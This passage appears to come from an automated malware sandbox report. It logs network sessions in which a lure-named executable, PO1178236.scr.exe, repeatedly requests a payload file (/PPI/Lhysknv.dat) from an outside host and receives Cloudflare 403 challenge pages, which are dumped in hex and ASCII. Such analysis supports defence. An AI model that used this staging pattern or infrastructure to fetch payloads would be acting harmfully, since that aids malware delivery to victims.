2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 39 35 32 65 66 36 34 31 66 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6952ef641fe</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:54 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 39 35 32 65 66 36 34 31 66 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6952ef641fe',t:'MTczNjQwNzczNC4wMDAwMDA='};var a=d
2025-01-09 07:28:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49792	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:55 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:55 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t6%2F%2FQDbaOexDII2sW9JR8E1b7xpWBwgtCr%2FVvGNUaLqglSx8muEAPpVImDRHBtEIDWoBEZFTB6%2FB88DGpTOWm6sphbgV4fPvMVqcRFavLR13Jqj9LvIEpuuylbV%2F6IHcjrpHJtYmqWZs7klp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b698da9a0fa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1470&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1871794&cwnd=252&unsent_bytes=0&cid=a69c3352537d1831&ts=130&x=0"
2025-01-09 07:28:55 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 39 38 64 61 39 61 30 66 61 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b698da9a0fa9</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:55 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 39 38 64 61 39 61 30 66 61 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b698da9a0fa9',t:'MTczNjQwNzczNS4wMDAwMDA='};v
2025-01-09 07:28:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49793	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:55 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:55 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5yyxB3vT937EICuSIcCnBde3va1OAD90Rdl7g08TdqWutGdIXpXvpos%2F%2Bkl%2B20gqPZ5RRqhfO1XIUz7DwZ8pGGlSqKCwwlsE%2B03hqtcG91SGtJO9t2%2BN2EEEjXGA%2BcXb71EAcZEunG7V1uA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b69ccccf7cf6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1902&min_rtt=1897&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1502057&cwnd=193&unsent_bytes=0&cid=fdaac097af11640c&ts=151&x=0"
2025-01-09 07:28:55 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:28:55 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 39 63 63 63 63 66 37 63 66 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b69ccccf7cf6</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:28:55 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 39 63 63 63 63 66 37 63 66 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b69ccccf7cf6',t:'MTczNjQwNzczNS4wMDAwMDA='}
2025-01-09 07:28:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49794	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:56 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:56 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZYQlz4YNksCT5CrLk3118K0zYaCzhWmsC7Jchi2nd0K7hgtnDjoG7pgvtZYG8prOWp37c%2B42rFTNaljghF8K50RzDhLnFXjpxECuazWoTCuQMRaJZEZnDRpjDS3YMeYDDI87%2FmMpQ2QZG77O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6a0ac674345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1587&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1769696&cwnd=219&unsent_bytes=0&cid=bc03c804f4433655&ts=141&x=0"
2025-01-09 07:28:56 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:56 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
